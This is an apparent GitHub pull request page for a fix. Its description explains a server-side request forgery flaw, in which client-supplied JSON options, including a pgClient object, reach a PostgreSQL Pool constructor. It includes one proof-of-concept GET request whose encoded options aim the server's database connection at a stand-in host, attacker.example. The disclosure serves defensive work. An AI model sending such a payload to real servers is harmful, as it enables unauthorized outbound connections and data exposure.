Conversation
aravindet
requested changes
Feb 24, 2026
aravindet
approved these changes
Feb 24, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This fixes queries like-
TODO:
SSRF via user-supplied pgClient option
Background
The vulnerability
HTTP request options are read directly from a URL query parameter and WebSocket message options are read from the raw JSON frame — both via JSON.parse — with no filtering before being forwarded to store.call(). This means an external client can supply any key in options, including pgClient.
The attack path in src/pg/index.js:
And in src/pg/Db.js:
Since the attacker's value is a plain JSON object (not a real Pool or Client instance), the instanceof check falls through to new Pool(connection). The pg module's Pool constructor accepts any object with host, port, database, user, password, etc. identical to what an attacker can send as JSON.
A minimal exploit in a GET request:
GET /api?q=...&opts=%7B%22pgClient%22%3A%7B%22host%22%3A%22attacker.example%22%2C%22port%22%3A5432%2C%22database%22%3A%22postgres%22%7D%7D
This causes the server to open a new TCP connection to attacker.example:5432 for every query triggered by that request.